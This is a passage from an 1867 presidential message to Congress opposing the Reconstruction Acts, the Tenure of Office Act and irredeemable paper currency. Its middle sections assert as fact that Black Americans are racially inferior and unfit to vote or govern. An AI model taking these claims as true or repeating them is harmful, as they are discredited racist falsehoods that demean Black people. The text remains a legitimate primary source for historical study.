at once with our true\ninterests and with our sworn duties to the Constitution is too natural\nand too just to be easily relinquished.It is clear to my apprehension that the States lately in rebellion are\nstill members of the National Union. When did they cease to be so? The\n\"ordinances of secession\" adopted by a portion (in most of them a very\nsmall portion) of their citizens were mere nullities. If we admit now\nthat they were valid and effectual for the purpose intended by their\nauthors, we sweep from under our feet the whole ground upon which we\njustified the war. Were those States afterwards expelled from the Union\nby the war? The direct contrary was averred by this Government to be\nits purpose, and was so understood by all those who gave their blood\nand treasure to aid in its prosecution. It can not be that a successful\nwar, waged for the preservation of the Union, had the legal effect of\ndissolving it. The victory of the nation's arms was not the disgrace of\nher policy; the defeat of secession on the battlefield was not the\ntriumph of its lawless principle. Nor could Congress, with or without\nthe consent of the Executive, do anything which would have the effect,\ndirectly or indirectly, of separating the States from each other. To\ndissolve the Union is to repeal the Constitution which holds it\ntogether, and that is a power which does not belong to any department\nof this Government, or to all of them united.This is so plain that it has been acknowledged by all branches of the\nFederal Government. The Executive (my predecessor as well as myself)\nand the heads of all the Departments have uniformly acted upon the\nprinciple that the Union is not only undissolved, but indissoluble.\nCongress submitted an amendment of the Constitution to be ratified by\nthe Southern States, and accepted their acts of ratification as a\nnecessary and lawful exercise of their highest function. If they were\nnot States, or were States out of the Union, their consent to a change\nin the fundamental law of the Union would have been nugatory, and\nCongress in asking it committed a political absurdity. The judiciary\nhas also given the solemn sanction of its authority to the same view of\nthe case. The judges of the Supreme Court have included the Southern\nStates in their circuits, and they are constantly, in banc and\nelsewhere, exercising jurisdiction which does not belong to them unless\nthose States are States of the Union.If the Southern States are component parts of the Union, the\nConstitution is the supreme law for them, as it is for all the other\nStates. They are bound to obey it, and so are we. The right of the\nFederal Government, which is clear and unquestionable, to enforce the\nConstitution upon them implies the correlative obligation on our part\nto observe its limitations and execute its guaranties. Without the\nConstitution we are nothing; by, through, and under the Constitution we\nare what it makes us. We may doubt the wisdom of the law, we may not\napprove of its provisions, but we can not violate it merely because it\nseems to confine our powers within limits narrower than we could wish.\nIt is not a question of individual or class or sectional interest, much\nless of party predominance, but of duty--of high and sacred duty--which\nwe are all sworn to perform. If we can not support the Constitution\nwith the cheerful alacrity of those who love and believe in it, we must\ngive to it at least the fidelity of public servants who act under\nsolemn obligations and commands which they dare not disregard.The constitutional duty is not the only one which requires the States\nto be restored. There is another consideration which, though of minor\nimportance, is yet of great weight. On the 22d day of July, 1861,\nCongress declared by an almost unanimous vote of both Houses that the\nwar should be conducted solely for the purpose of preserving the Union\nand maintaining the supremacy of the Federal Constitution and laws,\nwithout impairing the dignity, equality, and rights of the States or of\nindividuals, and that when this was done the war should cease. I do not\nsay that this declaration is personally binding on those who joined in\nmaking it, any more than individual members of Congress are personally\nbound to pay a public debt created under a law for which they voted.\nBut it was a solemn public, official pledge of the national honor, and\nI can not imagine upon what grounds the repudiation of it is to be\njustified. If it be said that we are not bound to keep faith with\nrebels, let it be remembered that this promise was not made to rebels\nonly. Thousands of true men in the South were drawn to our standard by\nit, and hundreds of thousands in the North gave their lives in the\nbelief that it would be carried out. It was made on the day after the\nfirst great battle of the war had been fought and lost. All patriotic\nand intelligent men then saw the necessity of giving such an assurance,\nand believed that without it the war would end in disaster to our\ncause. Having given that assurance in the extremity of our peril, the\nviolation of it now, in the day of our power, would be a rude rending\nof that good faith which holds the moral world together; our country\nwould cease to have any claim upon the confidence of men; it would make\nthe war not only a failure, but a fraud.Being sincerely convinced that these views are correct, I would be\nunfaithful to my duty if I did not recommend the repeal of the acts of\nCongress which place ten of the Southern States under the domination of\nmilitary masters. If calm reflection shall satisfy a majority of your\nhonorable bodies that the acts referred to are not only a violation of\nthe national faith, but in direct conflict with the Constitution, I\ndare not permit myself to doubt that you will immediately strike them\nfrom the statute book.To demonstrate the unconstitutional character of those acts I need do\nno more than refer to their general provisions. It must be seen at once\nthat they are not authorized. To dictate what alterations shall be made\nin the constitutions of the several States; to control the elections of\nState legislators and State officers, members of Congress and electors\nof President and Vice-President, by arbitrarily declaring who shall\nvote and who shall be excluded from that privilege; to dissolve State\nlegislatures or prevent them from assembling; to dismiss judges and\nother civil functionaries of the State and appoint others without\nregard to State law; to organize and operate all the political\nmachinery of the States; to regulate the whole administration of their\ndomestic and local affairs according to the mere will of strange and\nirresponsible agents, sent among them for that purpose--these are\npowers not granted to the Federal Government or to any one of its\nbranches. Not being granted, we violate our trust by assuming them as\npalpably as we would by acting in the face of a positive interdict; for\nthe Constitution forbids us to do whatever it does not affirmatively\nauthorize, either by express words or by clear implication. If the\nauthority we desire to use does not come to us through the\nConstitution, we can exercise it only by usurpation, and usurpation is\nthe most dangerous of political crimes. By that crime the enemies of\nfree government in all ages have worked out their designs against\npublic liberty and private right. It leads directly and immediately to\nthe establishment of absolute rule, for undelegated power is always\nunlimited and unrestrained.The acts of Congress in question are not only objectionable for their\nassumption of ungranted power, but many of their provisions are in\nconflict with the direct prohibitions of the Constitution. The\nConstitution commands that a republican form of government shall be\nguaranteed to all the States; that no person shall be deprived of life,\nliberty, or property without due process of law, arrested without a\njudicial warrant, or punished without a fair trial before an impartial\njury; that the privilege of habeas corpus shall not be denied in time\nof peace, and that no bill of attainder shall be passed even against a\nsingle individual. Yet the system of measures established by these acts\nof Congress does totally subvert and destroy the form as well as the\nsubstance of republican government in the ten States to which they\napply. It binds them hand and foot in absolute slavery, and subjects\nthem to a strange and hostile power, more unlimited and more likely to\nbe abused than any other now known among civilized men. It tramples\ndown all those rights in which the essence of liberty consists, and\nwhich a free government is always most careful to protect. It denies\nthe habeas corpus and the trial by jury. Personal freedom, property,\nand life, if assailed by the passion, the prejudice, or the rapacity of\nthe ruler, have no security whatever. It has the effect of a bill of\nattainder or bill of pains and penalties, not upon a few individuals,\nbut upon whole masses, including the millions who inhabit the subject\nStates, and even their unborn children. These wrongs, being expressly\nforbidden, can not be constitutionally inflicted upon any portion of\nour people, no matter how they may have come within our jurisdiction,\nand no matter whether they live in States, Territories, or districts.I have no desire to save from the proper and just consequences of their\ngreat crime those who engaged in rebellion against the Government, but\nas a mode of punishment the measures under consideration are the most\nunreasonable that could be invented. Many of those people are perfectly\ninnocent; many kept their fidelity to the Union untainted to the last;\nmany were incapable of any legal offense; a large proportion even of\nthe persons able to bear arms were forced into rebellion against their\nwill, and of those who are guilty with their own consent the degrees of\nguilt are as various as the shades of their character and temper. But\nthese acts of Congress confound them all together in one common doom.\nIndiscriminate vengeance upon classes, sects, and parties, or upon\nwhole communities, for offenses committed by a portion of them against\nthe governments to which they owed obedience was common in the\nbarbarous ages of the world; but Christianity and civilization have\nmade such progress that recourse to a punishment so cruel and unjust\nwould meet with the condemnation of all unprejudiced and right-minded\nmen. The punitive justice of this age, and especially of this country,\ndoes not consist in stripping whole States of their liberties and\nreducing all their people, without distinction, to the condition of\nslavery. It deals separately with each individual, confines itself to\nthe forms of law, and vindicates its own purity by an impartial\nexamination of every case before a competent judicial tribunal. If this\ndoes not satisfy all our desires with regard to Southern rebels, let us\nconsole ourselves by reflecting that a free Constitution, triumphant in\nwar and unbroken in peace, is worth far more to us and our children\nthan the gratification of any present feeling.I am aware it is assumed that this system of government for the\nSouthern States is not to be perpetual. It is true this military\ngovernment is to be only provisional, but it is through this temporary\nevil that a greater evil is to be made perpetual. If the guaranties of\nthe Constitution can be broken provisionally to serve a temporary\npurpose, and in a part only of the country, we can destroy them\neverywhere and for all time. Arbitrary measures often change, but they\ngenerally change for the worse. It is the curse of despotism that it\nhas no halting place. The intermitted exercise of its power brings no\nsense of security to its subjects, for they can never know what more\nthey will be called to endure when its red right hand is armed to\nplague them again. Nor is it possible to conjecture how or where power,\nunrestrained by law, may seek its next victims. The States that are\nstill free may be enslaved at any moment; for if the Constitution does\nnot protect all, it protects none.It is manifestly and avowedly the object of these laws to confer upon\nNegroes the privilege of voting and to disfranchise such a number of\nwhite citizens as will give the former a clear majority at all\nelections in the Southern States. This, to the minds of some persons,\nis so important that a violation of the Constitution is justified as a\nmeans of bringing it about. The morality is always false which excuses\na wrong because it proposes to accomplish a desirable end. We are not\npermitted to do evil that good may come. But in this case the end\nitself is evil, as well as the means. The subjugation of the States to\nNegro domination would be worse than the military despotism under which\nthey are now suffering. It was believed beforehand that the people\nwould endure any amount of military oppression for any length of time\nrather than degrade themselves by subjection to the Negro race.\nTherefore they have been left without a choice. Negro suffrage was\nestablished by act of Congress, and the military officers were\ncommanded to superintend the process of clothing the Negro race with\nthe political privileges torn from white men.The blacks in the South are entitled to be well and humanely governed,\nand to have the protection of just laws for all their rights of person\nand property. If it were practicable at this time to give them a\nGovernment exclusively their own, under which they might manage their\nown affairs in their own way, it would become a grave question whether\nwe ought to do so, or whether common humanity would not require us to\nsave them from themselves. But under the circumstances this is only a\nspeculative point. It is not proposed merely that they shall govern\nthemselves, but that they shall rule the white race, make and\nadminister State laws, elect Presidents and members of Congress, and\nshape to a greater or less extent the future destiny of the whole\ncountry. Would such a trust and power be safe in such hands?The peculiar qualities which should characterize any people who are fit\nto decide upon the management of public affairs for a great state have\nseldom been combined. It is the glory of white men to know that they\nhave had these qualities in sufficient measure to build upon this\ncontinent a great political fabric and to preserve its stability for\nmore than ninety years, while in every other part of the world all\nsimilar experiments have failed. But if anything can be proved by known\nfacts, if all reasoning upon evidence is not abandoned, it must be\nacknowledged that in the progress of nations Negroes have shown less\ncapacity for government than any other race of people. No independent\ngovernment of any form has ever been successful in their hands. On the\ncontrary, wherever they have been left to their own devices they have\nshown a constant tendency to relapse into barbarism. In the Southern\nStates, however, Congress has undertaken to confer upon them the\nprivilege of the ballot. Just released from slavery, it may be doubted\nwhether as a class they know more than their ancestors how to organize\nand regulate civil society. Indeed, it is admitted that the blacks of\nthe South are not only regardless of the rights of property, but so\nutterly ignorant of public affairs that their voting can consist in\nnothing more than carrying a ballot to the place where they are\ndirected to deposit it. I need not remind you that the exercise of the\nelective franchise is the highest attribute of an American citizen, and\nthat when guided by virtue, intelligence, patriotism, and a proper\nappreciation of our free institutions it constitutes the true basis of\na democratic form of government, in which the sovereign power is lodged\nin the body of the people. A trust artificially created, not for its\nown sake, but solely as a means of promoting the general welfare, its\ninfluence for good must necessarily depend upon the elevated character\nand true allegiance of the elector. It ought, therefore, to be reposed\nin none except those who are fitted morally and mentally to administer\nit well; for if conferred upon persons who do not justly estimate its\nvalue and who are indifferent as to its results, it will only serve as\na means of placing power in the hands of the unprincipled and\nambitious, and must eventuate in the complete destruction of that\nliberty of which it should be the most powerful conservator. I have\ntherefore heretofore urged upon your attention the great danger--to be\napprehended from an untimely extension of the elective franchise to any\nnew class in our country, especially when the large majority of that\nclass, in wielding the power thus placed in their hands, can not be\nexpected correctly to comprehend the duties and responsibilities which\npertain to suffrage. Yesterday, as it were, 4,000,000 persons were held\nin a condition of slavery that had existed for generations; to-day they\nare freemen and are assumed by law to be citizens. It can not be\npresumed, from their previous condition of servitude, that as a class\nthey are as well informed as to the nature of our Government as the\nintelligent foreigner who makes our land the home of his choice. In the\ncase of the latter neither a residence of five years and the knowledge\nof our institutions which it gives nor attachment to the principles of\nthe Constitution are the only conditions upon which he can be admitted\nto citizenship; he must prove in addition a good moral character, and\nthus give reasonable ground for the belief that he will be faithful to\nthe obligations which he assumes as a citizen of the Republic. Where a\npeople--the source of all political power--speak by their suffrages\nthrough the instrumentality of the ballot box, it must be carefully\nguarded against the control of those who are corrupt in principle and\nenemies of free institutions, for it can only become to our political\nand social system a safe conductor of healthy popular sentiment when\nkept free from demoralizing influences. Controlled through fraud and\nusurpation by the designing, anarchy and despotism must inevitably\nfollow. In the hands of the patriotic and worthy our Government will be\npreserved upon the principles of the Constitution inherited from our\nfathers. It follows, therefore, that in admitting to the ballot box a\nnew class of voters not qualified for the exercise of the elective\nfranchise we weaken our system of government instead of adding to its\nstrength and durability.I yield to no one in attachment to that rule of general suffrage which\ndistinguishes our policy as a nation. But there is a limit, wisely\nobserved hitherto, which makes the ballot a privilege and a trust, and\nwhich requires of some classes a time suitable for probation and\npreparation. To give it indiscriminately to a new class, wholly\nunprepared by previous habits and opportunities to perform the trust\nwhich it demands, is to degrade it, and finally to destroy its power,\nfor it may be safely assumed that no political truth is better\nestablished than that such indiscriminate and all-embracing extension\nof popular suffrage must end at last in its destruction. I repeat the\nexpression of my willingness to join in any plan within the scope of\nour constitutional authority which promises to better the condition of\nthe Negroes in the South, by encouraging them in industry, enlightening\ntheir minds, improving their morals, and giving protection to all their\njust rights as freedmen. But the transfer of our political inheritance\nto them would, in my opinion, be an abandonment of a duty which we owe\nalike to the memory of our fathers and the rights of our children.The plan of putting the Southern States wholly and the General\nGovernment partially into the hands of Negroes is proposed at a time\npeculiarly unpropitious. The foundations of society have been broken up\nby civil war. Industry must be reorganized, justice reestablished,\npublic credit maintained, and order brought out of confusion. To\naccomplish these ends would require all the wisdom and virtue of the\ngreat men who formed our institutions originally. I confidently believe\nthat their descendants will be equal to the arduous task before them,\nbut it is worse than madness to expect that Negroes will perform it for\nus. Certainly we ought not to ask their assistance till we despair of\nour own competency.The great difference between the two races in physical, mental, and\nmoral characteristics will prevent an amalgamation or fusion of them\ntogether in one homogeneous mass. If the inferior obtains the\nascendency over the other, it will govern with reference only to its\nown interests for it will recognize no common interest--and create such\na tyranny as this continent has never yet witnessed. Already the\nNegroes are influenced by promises of confiscation and plunder. They\nare taught to regard as an enemy every white man who has any respect\nfor the rights of his own race. If this continues it must become worse\nand worse, until all order will be subverted, all industry cease, and\nthe fertile fields of the South grow up into a wilderness. Of all the\ndangers which our nation has yet encountered, none are equal to those\nwhich must result from the success of the effort now making to\nAfricanize the half of our country.I would not put considerations of money in competition with justice and\nright; but the expenses incident to \"reconstruction\" under the system\nadopted by Congress aggravate what I regard as the intrinsic wrong of\nthe measure itself. It has cost uncounted millions already, and if\npersisted in will add largely to the weight of taxation, already too\noppressive to be borne without just complaint, and may finally reduce\nthe Treasury of the nation to a condition of bankruptcy. We must not\ndelude ourselves. It will require a strong standing army and probably\nmore than $200,000,000 per annum to maintain the supremacy of Negro\ngovernments after they are established. The sum thus thrown away would,\nif properly used, form a sinking fund large enough to pay the whole\nnational debt in less than fifteen years. It is vain to hope that\nNegroes will maintain their ascendency themselves. Without military\npower they are wholly incapable of holding in subjection the white\npeople of the South.I submit to the judgment of Congress whether the public credit may not\nbe injuriously affected by a system of measures like this. With our\ndebt and the vast private interests which are complicated with it, we\ncan not be too cautious of a policy which might by possibility impair\nthe confidence of the world in our Government. That confidence can only\nbe retained by carefully inculcating the principles of justice and\nhonor on the popular mind and by the most scrupulous fidelity to all\nour engagements of every sort. Any serious breach of the organic law,\npersisted in for a considerable time, can not but create fears for the\nstability of our institutions. Habitual violation of prescribed rules,\nwhich we bind ourselves to observe, must demoralize the people. Our\nonly standard of civil duty being set at naught, the sheet anchor of\nour political morality is lost, the public conscience swings from its\nmoorings and yields to every impulse of passion and interest. If we\nrepudiate the Constitution, we will not be expected to care much for\nmere pecuniary obligations. The violation of such a pledge as we made\non the 22d day of July, 1861, will assuredly diminish the market value\nof our other promises. Besides, if we acknowledge that the national\ndebt was created, not to hold the States in the Union, as the taxpayers\nwere led to suppose, but to expel them from it and hand them over to be\ngoverned by Negroes, the moral duty to pay it may seem much less clear.\nI say it may seem so, for I do not admit that this or any other\nargument in favor of repudiation can be entertained as sound; but its\ninfluence on some classes of minds may well be apprehended. The\nfinancial honor of a great commercial nation, largely indebted and with\na republican form of government administered by agents of the popular\nchoice, is a thing of such delicate texture and the destruction of it\nwould be followed by such unspeakable calamity that every true patriot\nmust desire to avoid whatever might expose it to the slightest danger.The great interests of the country require immediate relief from these\nenactments. Business in the South is paralyzed by a sense of general\ninsecurity, by the terror of confiscation, and the dread of Negro\nsupremacy. The Southern trade, from which the North would have derived\nso great a profit under a government of law, still languishes, and can\nnever be revived until it ceases to be fettered by the arbitrary power\nwhich makes all its operations unsafe. That rich country--the richest\nin natural resources the world ever saw--is worse than lost if it be\nnot soon placed under the protection of a free constitution. Instead of\nbeing, as it ought to be, a source of wealth and power, it will become\nan intolerable burden upon the rest of the nation.Another reason for retracing our steps will doubtless be seen by\nCongress in the late manifestations of public opinion upon this\nsubject. We live in a country where the popular will always enforces\nobedience to itself, sooner or later. It is vain to think of opposing\nit with anything short of legal authority backed by overwhelming force.\nIt can not have escaped your attention that from the day on which\nCongress fairly and formally presented the proposition to govern the\nSouthern States by military force, with a view to the ultimate\nestablishment of Negro supremacy, every expression of the general\nsentiment has been more or less adverse to it. The affections of this\ngeneration can not be detached from the institutions of their\nancestors. Their determination to preserve the inheritance of free\ngovernment in their own hands and transmit it undivided and unimpaired\nto their own posterity is too strong to be successfully opposed. Every\nweaker passion will disappear before that love of liberty and law for\nwhich the American people are distinguished above all others in the\nworld.How far the duty of the President \"to preserve, protect, and defend the\nConstitution\" requires him to go in opposing an unconstitutional act of\nCongress is a very serious and important question, on which I have\ndeliberated much and felt extremely anxious to reach a proper\nconclusion. Where an act has been passed according to the forms of the\nConstitution by the supreme legislative authority, and is regularly\nenrolled among the public statutes of the country, Executive resistance\nto it, especially in times of high party excitement, would be likely to\nproduce violent collision between the respective adherents of the two\nbranches of the Government. This would be simply civil war, and civil\nwar must be resorted to only as the last remedy for the worst of evils.\nWhatever might tend to provoke it should be most carefully avoided. A\nfaithful and conscientious magistrate will concede very much to honest\nerror, and something even to perverse malice, before he will endanger\nthe public peace; and he will not adopt forcible measures, or such as\nmight lead to force, as long as those which are peaceable remain open\nto him or to his constituents. It is true that cases may occur in which\nthe Executive would be compelled to stand on its rights, and maintain\nthem regardless of all consequences. If Congress should pass an act\nwhich is not only in palpable conflict with the Constitution, but will\ncertainly, if carried out, produce immediate and irreparable injury to\nthe organic structure of the Government, and if there be neither\njudicial remedy for the wrongs it inflicts nor power in the people to\nprotect themselves without the official aid of their elected\ndefender--if, for instance, the legislative department should pass an\nact even through all the forms of law to abolish a coordinate\ndepartment of the Government--in such a case the President must take\nthe high responsibilities of his office and save the life of the nation\nat all hazards. The so-called reconstruction acts, though as plainly\nunconstitutional as any that can be imagined, were not believed to be\nwithin the class last mentioned. The people were not wholly disarmed of\nthe power of self-defense. In all the Northern States they still held\nin their hands the sacred right of the ballot, and it was safe to\nbelieve that in due time they would come to the rescue of their own\ninstitutions. It gives me pleasure to add that the appeal to our common\nconstituents was not taken in vain, and that my confidence in their\nwisdom and virtue seems not to have been misplaced.It is well and publicly known that enormous frauds have been\nperpetrated on the Treasury and that colossal fortunes have been made\nat the public expense. This species of corruption has increased, is\nincreasing, and if not diminished will soon bring us into total ruin\nand disgrace. The public creditors and the taxpayers are alike\ninterested in an honest administration of the finances, and neither\nclass will long endure the large-handed robberies of the recent past.\nFor this discreditable state of things there are several causes. Some\nof the taxes are so laid as to present an irresistible temptation to\nevade payment. The great sums which officers may win by connivance at\nfraud create a pressure which is more than the virtue of many can\nwithstand, and there can be no doubt that the open disregard of\nconstitutional obligations avowed by some of the highest and most\ninfluential men in the country has greatly weakened the moral sense of\nthose who serve in subordinate places. The expenses of the United\nStates, including interest on the public debt, are more than six times\nas much as they were seven years ago. To collect and disburse this vast\namount requires careful supervision as well as systematic vigilance.\nThe system, never perfected, was much disorganized by the\n\"tenure-of-office bill,\" which has almost destroyed official\naccountability. The President may be thoroughly convinced that an\nofficer is incapable, dishonest, or unfaithful to the Constitution, but\nunder the law which I have named the utmost he can do is to complain to\nthe Senate and ask the privilege of supplying his place with a better\nman. If the Senate be regarded as personally or politically hostile to\nthe President, it is natural, and not altogether unreasonable, for the\nofficer to expect that it will take his part as far as possible,\nrestore him to his place, and give him a triumph over his Executive\nsuperior. The officer has other chances of impunity arising from\naccidental defects of evidence, the mode of investigating it, and the\nsecrecy of the hearing. It is not wonderful that official malfeasance\nshould become bold in proportion as the delinquents learn to think\nthemselves safe. I am entirely persuaded that under such a rule the\nPresident can not perform the great duty assigned to him of seeing the\nlaws faithfully executed, and that it disables him most especially from\nenforcing that rigid accountability which is necessary to the due\nexecution of the revenue laws.The Constitution invests the President with authority to decide whether\na removal should be made in any given case; the act of Congress\ndeclares in substance that he shall only accuse such as he supposes to\nbe unworthy of their trust. The Constitution makes him sole judge in\nthe premises, but the statute takes away his jurisdiction, transfers it\nto the Senate, and leaves him nothing but the odious and sometimes\nimpracticable duty of becoming a prosecutor. The prosecution is to be\nconducted before a tribunal whose members are not, like him,\nresponsible to the whole people, but to separate constituent bodies,\nand who may hear his accusation with great disfavor. The Senate is\nabsolutely without any known standard of decision applicable to such a\ncase. Its judgment can not be anticipated, for it is not governed by\nany rule. The law does not define what shall be deemed good cause for\nremoval. It is impossible even to conjecture what may or may not be so\nconsidered by the Senate. The nature of the subject forbids clear\nproof. If the charge be incapacity, what evidence will support it?\nFidelity to the Constitution may be understood or misunderstood in a\nthousand different ways, and by violent party men, in violent party\ntimes, unfaithfulness to the Constitution may even come to be\nconsidered meritorious. If the officer be accused of dishonesty, how\nshall it be made out? Will it be inferred from acts unconnected with\npublic duty, from private history, or from general reputation, or must\nthe President await the commission of an actual misdemeanor in office?\nShall he in the meantime risk the character and interest of the nation\nin the hands of men to whom he can not give his confidence? Must he\nforbear his complaint until the mischief is done and can not be\nprevented? If his zeal in the public service should impel him to\nanticipate the overt act, must he move at the peril of being tried\nhimself for the offense of slandering his subordinate? In the present\ncircumstances of the country someone must be held responsible for\nofficial delinquency of every kind. It is extremely difficult to say\nwhere that responsibility should be thrown if it be not left where it\nhas been placed by the Constitution. But all just men will admit that\nthe President ought to be entirely relieved from such responsibility if\nhe can not meet it by reason of restrictions placed by law upon his\naction.The unrestricted power of removal from office is a very great one to be\ntrusted even to a magistrate chosen by the general suffrage of the\nwhole people and accountable directly to them for his acts. It is\nundoubtedly liable to abuse, and at some periods of our history perhaps\nhas been abused. If it be thought desirable and constitutional that it\nshould be so limited as to make the President merely a common informer\nagainst other public agents, he should at least be permitted to act in\nthat capacity before some open tribunal, independent of party politics,\nready to investigate the merits of every case, furnished with the means\nof taking evidence, and bound to decide according to established rules.\nThis would guarantee the safety of the accuser when he acts in good\nfaith, and at the same time secure the rights of the other party. I\nspeak, of course, with all proper respect for the present Senate, but\nit does not seem to me that any legislative body can be so constituted\nas to insure its fitness for these functions.It is not the theory of this Government that public offices are the\nproperty of those who hold them. They are given merely as a trust for\nthe public benefit, sometimes for a fixed period, sometimes during good\nbehavior, but generally they are liable to be terminated at the\npleasure of the appointing power, which represents the collective\nmajesty and speaks the will of the people. The forced retention in\noffice of a single dishonest person may work great injury to the public\ninterests. The danger to the public service comes not from the power to\nremove, but from the power to appoint. Therefore it was that the\nframers of the Constitution left the power of removal unrestricted,\nwhile they gave the Senate a fight to reject all appointments which in\nits opinion were not fit to be made. A little reflection on this\nsubject will probably satisfy all who have the good of the country at\nheart that our best course is to take the Constitution for our guide,\nwalk in the path marked out by the founders of the Republic, and obey\nthe rules made sacred by the observance of our great predecessors.The present condition of our finances and circulating medium is one to\nwhich your early consideration is invited.The proportion which the currency of any country should bear to the\nwhole value of the annual produce circulated by its means is a question\nupon which political economists have not agreed. Nor can it be\ncontrolled by legislation, but must be left to the irrevocable laws\nwhich everywhere regulate commerce and trade. The circulating medium\nwill ever irresistibly flow to those points where it is in greatest\ndemand. The law of demand and supply is as unerring as that which\nregulates the tides of the ocean; and, indeed, currency, like the\ntides, has its ebbs and flows throughout the commercial world.At the beginning of the rebellion the bank-note circulation of the\ncountry amounted to not much more than $200,000,000; now the\ncirculation of national-bank notes and those known as \"legal-tenders\"\nis nearly seven hundred millions. While it is urged by some that this\namount should be increased, others contend that a decided reduction is\nabsolutely essential to the best interests of the country. In view of\nthese diverse opinions, it may be well to ascertain the real value of\nour paper issues when compared with a metallic or convertible currency.\nFor this purpose let us inquire how much gold and silver could be\npurchased by the seven hundred millions of paper money now in\ncirculation. Probably not more than half the amount of the latter,\nshowing that when our paper currency is compared with gold and silver\nits commercial value is compressed into three hundred and fifty\nmillions. This striking fact makes it the obvious duty of the\nGovernment, as early as may be consistent with the principles of sound\npolitical economy, to take such measures as will enable the holder of\nits notes and those of the national banks to convert them without loss\ninto specie or its equivalent. A reduction of our paper circulating\nmedium need not necessarily follow. This, however, would depend upon\nthe law of demand and supply, though it should be borne in mind that by\nmaking legal-tender and bank notes convertible into coin or its\nequivalent their present specie value in the hands of their holders\nwould be enhanced 100 per cent.Legislation for the accomplishment of a result so desirable is demanded\nby the highest public considerations. The Constitution contemplates\nthat the circulating medium of the country shall be uniform in quality\nand value. At the time of the formation of that instrument the country\nhad just emerged from the War of the Revolution, and was suffering from\nthe effects of a redundant and worthless paper currency. The sages of\nthat period were anxious to protect their posterity from the evils that\nthey themselves had experienced. Hence in providing a circulating\nmedium they conferred upon Congress the power to coin money and\nregulate the value thereof, at the same time prohibiting the States\nfrom making anything but gold and silver a tender in payment of debts.The anomalous condition of our currency is in striking contrast with\nthat which was originally designed. Our circulation now embraces,\nfirst, notes of the national banks, which are made receivable for all\ndues to the Government, excluding imposts, and by all its creditors,\nexcepting in payment of interest upon its bonds and the securities\nthemselves; second, legal-tender notes, issued by the United States,\nand which the law requires shall be received as well in payment of all\ndebts between citizens as of all Government dues, excepting imposts;\nand, third, gold and silver coin. By the operation of our present\nsystem of finance, however, the metallic currency, when collected, is\nreserved only for one class of Government creditors, who, holding its\nbonds, semiannually receive their interest in coin from the National\nTreasury. They are thus made to occupy an invidious position, which may\nbe used to strengthen the arguments of those who would bring into\ndisrepute the obligations of the nation. In the payment of all its\ndebts the plighted faith of the Government should be inviolably\nmaintained. But while it acts with fidelity toward the bondholder who\nloaned his money that the integrity of the Union might be preserved, it\nshould at the same time observe good faith with the great masses of the\npeople, who, having rescued the Union from the perils of rebellion, now\nbear the burdens of taxation, that the Government may be able to\nfulfill its engagements. There is no reason which will be accepted as\nsatisfactory by the people why those who defend us on the land and\nprotect us on the sea; the pensioner upon the gratitude of the nation,\nbearing the scars and wounds received while in its service; the public\nservants in the various Departments of the Government; the farmer who\nsupplies the soldiers of the Army and the sailors of the Navy; the\nartisan who toils in the nation's workshops, or the mechanics and\nlaborers who build its edifices and construct its forts and vessels of\nwar, should, in payment of their just and hard-earned dues, receive\ndepreciated paper, while another class of their countrymen, no more\ndeserving, are paid in coin of gold and silver. Equal and exact justice\nrequires that all the creditors of the Government should be paid in a\ncurrency possessing a uniform value. This can only be accomplished by\nthe restoration of the currency to the standard established by the\nConstitution; and by this means we would remove a discrimination which\nmay, if it has not already done so, create a prejudice that may become\ndeep rooted and widespread and imperil the national credit.The feasibility of making our currency correspond with the\nconstitutional standard may be seen by reference to a few facts derived\nfrom our commercial statistics.The production of precious metals in the United States from 1849 to\n1857, inclusive, amounted to $579,000,000; from 1858 to 1860,\ninclusive, to $137,500,000, and from 1861 to 1867, inclusive, to\n$457,500,000--making the grand aggregate of products since 1849\n$1,174,000,000. The amount of specie coined from 1849 to 1857\ninclusive, was $439,000,000; from 1858 to 1860, inclusive,\n$125,000,000, and from 1861 to 1867, inclusive, $310,000,000--making\nthe total coinage since 1849 $874,000,000. From 1849 to 1857,\ninclusive, the net exports of specie amounted to $271,000,000; from\n1858 to 1860, inclusive, to $148,000,000, and from 1861 to 1867,\ninclusive, $322,000,000--making the aggregate of net exports since 1849\n$741,000,000. These figures show an excess of product over net exports\nof $433,000,000. There are in the Treasury $111,000,000 in coin,\nsomething more than $40,000,000 in circulation on the Pacific Coast,\nand a few millions in the national and other banks--in all about\n$160,000,000. This, however, taking into account the specie in the\ncountry prior to 1849 leaves more than $300,000,000 which have not been\naccounted for by exportation, and therefore may yet remain in the\ncountry.These are important facts and show how completely the inferior currency\nwill supersede the better, forcing it from circulation among the masses\nand causing it to be exported as a mere article of trade, to add to the\nmoney capital of foreign lands. They show the necessity of retiring our\npaper money, that the return of gold and silver to the avenues of trade\nmay be invited and a demand created which will cause the retention at\nhome of at least so much of the productions of our rich and\ninexhaustible gold-bearing fields as may be sufficient for purposes of\ncirculation. It is unreasonable to expect a return to a sound currency\nso long as the Government by continuing to issue irredeemable notes\nfills the channels of circulation with depreciated paper.\nNotwithstanding a coinage by our mints, since 1849, of $874,000,000,\nthe people are now strangers to the currency which was designed for\ntheir use and benefit, and specimens of the precious metals bearing the\nnational device are seldom seen, except when produced to gratify the\ninterest excited by their novelty. If depreciated paper is to be\ncontinued as the permanent currency of the country, and all our coin is\nto become a mere article of traffic and speculation, to the enhancement\nin price of all that is indispensable to the comfort of the people, it\nwould be wise economy to abolish our mints thus saving the nation the\ncare and expense incident to such establishments, and let all our\nprecious metals be exported in bullion. The time has come, however,\nwhen the Government and national banks should be required to take the\nmost efficient steps and make all necessary arrangements for a\nresumption of specie payments at the earliest practicable period.\nSpecie payments having been once resumed by the Government and banks,\nall notes or bills of paper issued by either of a less denomination\nthan $20 should by law be excluded from circulation, so that the people\nmay have the benefit and convenience of a gold and silver currency\nwhich in all their business transactions will be uniform in value at\nhome and abroad. Every man of property or industry, every man who\ndesires to preserve what he honestly possesses or to obtain what he can\nhonestly earn, has a direct interest in maintaining a safe circulating\nmedium--such a medium as shall be real and substantial, not liable to\nvibrate with opinions, not subject to be blown up or blown down by the\nbreath of speculation, but to be made stable and secure. A disordered\ncurrency is one of the greatest political evils. It undermines the\nvirtues necessary for the support of the social system and encourages\npropensities destructive of its happiness; it wars against industry,\nfrugality, and economy, and it fosters the evil spirits of extravagance\nand speculation. It has been asserted by one of our profound and most\ngifted statesmen that--Of all the contrivances for cheating the\nlaboring classes of mankind, none has been more effectual than that\nwhich deludes them with paper money. This is the most effectual of\ninventions to fertilize the rich man's fields by the sweat of the poor\nman's brow. Ordinary tyranny, oppression, excessive taxation--these\nbear lightly on the happiness of the mass of the community compared\nwith a fraudulent currency and the robberies committed by depreciated\npaper. Our own history has recorded for our instruction enough, and\nmore than enough, of the demoralizing tendency, the injustice, and 